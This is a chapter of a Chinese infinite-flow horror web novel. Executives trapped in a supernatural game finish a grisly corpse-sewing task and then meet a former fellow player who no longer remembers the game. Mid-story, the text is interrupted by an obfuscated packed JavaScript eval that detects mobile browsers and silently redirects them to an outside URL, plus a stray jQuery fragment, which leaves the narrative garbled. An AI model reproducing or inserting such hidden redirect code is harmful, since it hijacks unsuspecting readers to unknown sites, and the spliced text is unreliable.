一丝凉意攀上孙德义的胳膊,接着渐渐扩大,他的手臂、后背都被这微凉的液体浸透,他睡前穿的是一件丝质的短袖睡衣,感觉到睡衣贴在身体上之后下意识抬手扯了一下,湿意便跟着缠上了他的手指,他习惯性地用大拇指在食指侧边搓了搓。
有点黏糊糊的,不像是汗?还没等思考出手指粘上的液体是什么,孙德义已经一个激灵清醒了——他喜欢软床,床单下面铺了四层棉絮,但是现在他明显感觉自己正躺在一个凹凸不平的地上!
没敢睁眼,孙德义小心翼翼地将手挪到身下试探地摸着,熟悉的形状让孙德义想到了一个如梦魇般的东西——广场上的渗水砖。
正多边形的石砖中间有一个菱形的镂空,石砖上覆上了一层黏糊糊的液体,阵阵腥臭味挤进孙德义后知后觉开始工作的鼻子……孙德义可以确定,他现在正躺在那个他们缝了好几天尸体的广场上!
怎么回事?他不是已经把那个狗屁村长杀了吗?不是已经从游戏里面出来了吗?是在做梦吗?一定是!孙德义捏着拳头,指甲牢牢嵌进掌心的软肉里,希望能把自己掐醒逃离这场噩梦,身侧传来的一道男声却打破了他的幻想。
“我靠!什么情况?”说话的是张龙,他本来搂着老婆睡得正香,结果突然感觉怀里空了,本以为是他老婆起夜了准备翻个身继续睡,没想到翻身时头撞在了地砖上,一睁眼发现自己正躺在满是血水的空地上。
孙德义意识到自己没办法再自欺欺人了——不到半天!在他们今天下午杀了村长从游戏里出来后,现在他们就又莫名其妙回到这个鬼地方了。
孙德义恼火地咒骂了一句,睁开眼坐起身看着身边的人,张龙、钱又还有邓玲,一个不少,全都穿着睡衣一脸懵地看着他。
“诸位你们今天的任务还没有完成,请吧。”在孙德义开口前,离他们不远处的塔下一个佝偻的黑影发出嘶哑的声音,几人转头看去,正是被孙德义一刀割头的村长。
“我们已经完成任务了啊!你又把我们弄过来干什么?而且你不是死了吗?”钱又愤恨地盯着那个黑影。
没有任何情绪起伏的声音自顾自地说着:“我说过了,在每个周期结束前,由不得你们。”
“我们要是不干呢?”
“那就永远呆在这里。”
草!
“还有两个人呢?”
“两个?哦,你说他们啊,他们不归我管了。”
村长这话倒是让几人对于通关五轮就可以彻底摆脱游戏、再也不会被拉进来的说法更相信了一些,当然完全相信还是得等到亲眼看到沈逾白二人。孙德义一行人在得到必须把今天的任务完成才可以回去的答复后,终于还是认命地分工合作,开始重复他们已经熟练的缝尸工作。
-
“怎么样了?”张龙和钱又两个人摸着黑进了三趟林子,估摸着材料准备得差不多了,蹲在孙德义的身边问道。
“我把这个头缝上去就刚好过半了。你俩一起来缝估计过不了多久就能弄完。”孙德义面无表情地将手中这具穿着被鲜血染红的衬衣的身体跟瞪大双眼的头颅缝合在一起,他能感觉到自己面对着着一具具尸体已经逐渐变得麻木了,或许这对于通关这个变态的游戏是一件好事。
-
四人吭哧吭哧干了大半宿,终于在天快亮前完成了村长“贴心”给他们剩下的任务,看着村长一具具地验收,最终满意点头后,他们终于松了口气,瘫坐在地上。
“任务完成,明天见。”村长说完这句话后几人就失去了意识。
再次清醒过来,孙德义条件反射地伸出手,摸到柔软的床单后才放下心来,自己又神不知鬼不觉地回到了家里。他撑起身体拿到放在床头柜上的手机,熟练地点进一个软件,调出家里的监控,花了半个小时拉完了昨晚上的监控记录,冷汗直冒。
孙德义在监控中看到,自己一整晚都躺在床上一动不动。
要不是张龙他们拉了个群讨论昨晚的临时“加班”,他都要怀疑自己只是做了个梦。他闭着眼睛深呼吸几次,冷静下来后点进群聊开始安排工作。
【我跟邓玲一会儿去梧城找沈逾白,你俩用这两天联系一下其他公司的熟人,看有没有人有相同的遭遇。姓沈的说这个游戏找的都是各企业的高层,你们去委婉地问问供应商、客户单位关系熟一点的中高层,随时在群里汇报最新情况。】
【张龙:收到】
【钱又:[ok]】
孙德义看见司机发消息说已经到楼下了,于是放下手机拖着疲惫的身体去卫生间洗漱。
“孙总,早上好。”司机尽职尽责地接过孙德义的行李,确认他坐好后按下关门键,将行李放进后背箱,在停止值机前半小时将孙德义送到了机场。
-
飞机发动机的轰鸣划破天际,孙德义和邓玲降落在了梧城机场。
坐上行政提前联系好的专车,孙德义拒绝了先去酒店放行李的提议,要求司机直奔沈逾白的公司。
车停在一座写字楼下,写有沈逾白公司名字的巨大石材伫立在写字楼大门前,孙德义和邓玲下车,径直走了进去。现在刚好是十一点,孙德义想着如果顺利的话请沈逾白吃顿饭也不是不可以,毕竟在游戏里他们确实受了他不少照顾。
“两位好,有什么可以帮您的吗?”前台女生见孙德义二人后热情招待。
邓玲递上自己的名片:“我们找沈逾白沈总,可以帮我们联系一下吗?”
“不好意思,沈总今天没上班。请问您提前联系过他吗?因为他不太喜欢自己的私人时间被工作打扰。”前台抱歉地说。
孙德义不耐烦地啧了一声,邓玲看了他一眼,继续跟前台交涉:“或者联系周知聿助理也行。”
对方答应了。
两人坐在大厅的沙发上喝着接待人员倒的茶,不一会儿,写字楼的电梯门开了,周知聿穿着正式地朝他们走来。
“您好?我是周知聿。”
孙德义:“周总,见您一面可真不容易啊!沈总呢,把他也叫出来我们一起吃个饭吧。”
周知聿眉头紧皱,奇怪地盯着眼前这人:“请问,我们认识吗?”
孙德义怔怔地跟邓玲对视了一眼,又看向了周知聿,给他做了一遍自我介绍,见周知聿还是满脸疑惑,便有主动提起游戏。
“您是说,我跟沈总,还有您和您的同事们一起被拉到了一个所谓的超自然游戏里面,白天被一个干瘪老头奴役缝补尸体,晚上被一个还没我小腿高的小女孩恶作剧吓破胆吗?”
周知聿礼貌地总结着孙德义的故事,虽然没做任何评价但眼神里的嘲讽已经化为实质了,孙德义恼火地提醒周知聿他不是在开玩笑并反复重申如果不信可以把沈逾白叫出来他们当面对质。
“可以,我先联系一下沈总。”周知聿接过前台查到的这两人的名片上的企业信息,发现确实不像是拿他开涮的神经病,于是同意了帮他们约一下沈逾白。
在孙德义的注视下,周知聿将他们讲的游戏副本里发生的事转述给了电话那头,最终定下了晚上的见面时间和地点,见此,孙德义不欲再与周知聿多说,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838940|175709||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
交换了联系方式便走了。
回到酒店,孙德义拿出了一路上响个不停的手机,见张龙在群里发了无数条消息,期间夹杂着一两条钱又的。
【张龙:孙总,我约了赵总和他手底下的几个厂长吃午饭,一会儿我把他们分开问问。】
【张龙:孙总!!!】
【张龙:我说不出来!每次我说的时候人家都问我在说什么!】
【张龙:他们说我喝多了开始胡言乱语,说的话都连不成句子……但是我发誓我滴酒没沾!】
钱又就比较简单了,他发了两段录音,名字分别是“我自己录的”“供应商录的”。孙德义点开两个录音文件,钱又自己录的那段听得很清楚,就是他在询问对方是否听说过“社畜游戏”,又详细地描述了一下这个游戏。
点开那份供应商录下的录音,孙德义听到的是钱又用机械没有任何起伏的声音一字一顿:王总你听过其读不起,不好反败发年后发倒地后。
果然是胡言乱语……
孙德义和邓玲二人坐在房间的沙发上,听着这段乱七八糟的录音两人感到一阵恶寒,他们早上跟周知聿提过游戏以及游戏里发生的事情,周知聿还通过电话给对面的沈逾白转述了,这两人都能听见正常的内容,但是周知聿对他们陌生的态度又不像作假……这件事发生到现在,已经不单单是游戏“超自然”的问题了,这个游戏已经影响到现实生活了吗?
-
很快到了跟沈逾白约定好的时间,孙德义二人收拾好心情坐车来到酒店,在服务员的指引下走进包厢,沈逾白二人已经在里面坐着了。
见二人进门,沈逾白老练起身相迎:“孙总、邓总,久仰大名啊。”
孙德义、邓玲:“……”什么名?满嘴疯话的神经病吗?
“沈总。”孙德义没什么情绪地握住沈逾白的手,仔细观察着面前这人,看了半天都没觉得跟之前游戏里那位有什么不同。
双方互相寒暄奉承了十来分钟,终于进入正题:“我听知聿转述了二位的故事……说实话我对这个项目很感兴趣,孙总您如果愿意的话我们确实可以一起做。”
孙德义满脸问号:“什么项目?”
“您上午给知聿说的那个无限流故事啊?您找我不是为了把这个故事影视化吗?”沈逾白看起来也很惊讶。
“无限流?影视化?”孙德义懂了,沈逾白的公司是一家娱乐公司,所以他答应见他只是把他们上午说的话当成了他们编出来的故事?孙德义皱了皱眉头,“沈总,我想您误会了,我不是想把这个故事拍成电影。我得再重申一遍,我所说的事都是上周我们一起经历过的。”
沈逾白脸上的从他们一进门就挂着的笑容消失了,他耸耸肩:“那我也再重申一遍,孙总,上周我跟知聿就呆在梧城哪儿也没,公司的监控可以作证。您的这个玩笑,并不好笑。”
邓玲见气氛不太对,赶忙打圆场:“沈总消消气消消气,您说的那个‘无限流’是什么意思呢?”
沈逾白向看土包子一样看着他俩,还是大发慈悲的用一顿饭的时间给他们科普了一下这个文学、影视界烂大街的设定。
饭局结束时,沈逾白见他们还是没有投资这个项目的打算只能悻悻作罢,只在离开前开玩笑地提点了他们一句:“孙总、邓总,如果你们俩说的是真的,那我跟知聿可能已经因为游戏规则失去了这一段记忆,为了你们能安全通关,我建议你们多看一点相关的电视和小说,积累积累经验,直接去网站搜‘无限流’就可以了,最火的那两部都有我公司的投资呦。”